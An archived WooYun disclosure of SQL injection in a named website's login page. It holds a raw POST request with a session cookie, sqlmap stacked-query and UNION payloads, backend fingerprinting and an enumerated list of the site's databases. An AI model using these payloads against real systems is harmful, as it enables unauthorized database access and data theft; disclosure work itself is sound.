乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-31: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-10-15: 厂商已经主动忽略漏洞,细节向公众公开
RT
漏洞地址:
POST /logincenter.asp HTTP/1.1Host: www.gzczkj.cnProxy-Connection: keep-aliveContent-Length: 29Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://www.gzczkj.cnUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://www.gzczkj.cn/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: ASPSESSIONIDQAQRRRQA=HLLCNAHBJEGIBGMFPGBCAFKK; NEWBANNER=NEWBANNER; bkcss=bkcsstname=admin&idcard=admin&bt1=
tname参数存在注入时间盲注
---Parameter: tname (POST) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: tname=admin';WAITFOR DELAY '0:0:5'--&idcard=admin&bt1= Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: tname=admin' UNION ALL SELECT NULL,CHAR(113)+CHAR(120)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(100)+CHAR(113)+CHAR(80)+CHAR(110)+CHAR(117)+CHAR(84)+CHAR(81)+CHAR(99)+CHAR(90)+CHAR(104)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)-- &idcard=admin&bt1=---[13:06:07] [INFO] testing Microsoft SQL Server[13:06:08] [INFO] confirming Microsoft SQL Server[13:06:11] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2005
数据库:
available databases [12]:[*] Data[*] DBA_VS_MONITOR[*] gzczkj[*] itat_itat2009[*] itat_news_2008[*] itatpro2009[*] master[*] model[*] msdb[*] ReportServer[*] ReportServerTempDB[*] tempdb
过滤
未能联系到厂商或者厂商积极拒绝